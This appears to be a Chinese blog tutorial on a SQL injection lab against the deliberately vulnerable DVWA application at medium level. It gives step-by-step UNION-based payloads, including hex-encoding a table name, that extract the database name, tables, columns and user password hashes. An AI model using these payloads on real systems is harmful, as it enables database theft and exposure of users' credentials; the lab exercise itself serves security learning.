通过sql注入窃取用户数据库信息

一、SQL注入的定义

SQL Injection ,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍然是现在最常见的Web漏洞之一。

通过sql注入窃取用户数据库信息_第1张图片

二、实现SQL注入“脱裤”数据库

实验环境 :centos 7 32位 xampp版本1.7.3 DVWA 版本1.10 burpsuite 2.0

说明:xampp是一个易于安装的Apache发行版,其中包含MariaDB、PHP、Perl,下载并启动安装程序即可

dvwa(damn vulnerable web application)是一个用来进行安全脆弱性鉴定的PHP/Mysql web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范过程。dvwa代码分为四种安全级别:low、medium、high、impossible。

burpsuite 2.0 是用于攻击web应用程序的集成平台,包含了许多工具,并为这些工具设计了许多接口,加快攻击应用程序的过程。

具体实现在medium下的数据库sql注入,窃取库、表、字段的信息

medium级别漏洞利用

搭建好靶机,设置medium级别,进入sql 注入界面,选择数字1确认,拦截报文,并改包为1 union select 1,database()--

通过sql注入窃取用户数据库信息_第2张图片

如图所示,窃取到数据库名为dvwa,sql注入取得了第一步的胜利,接下来窃取数据库表名。

改包,注入

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--

通过sql注入窃取用户数据库信息_第3张图片

获取到了数据库表名guestbook 和users两张表,现接着窃取表users中的字段信息

改包1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--,由于包围users的单引号影响查询,现将其转义成16进制数0x7573657273即新的查询为

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--

通过sql注入窃取用户数据库信息_第4张图片

如图,窃取到字段为user_id , first_name , last_name , user , password , avatar , last_login , failed_login 八个字段

 接下来窃取数据字段的内容,获取此次sql注入的最后成果,为下一步的攻击和破坏做准备

改包 1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users--

通过sql注入窃取用户数据库信息_第5张图片

 

结果获取到字段信息,现将sql查询内容贴出如下,sql注入完成了数据库 表 字段的窃取

通过sql注入窃取用户数据库信息_第6张图片

总结:sql注入危害确实比较大,工作中要有防范意识。

 

你可能感兴趣的:(信息安全)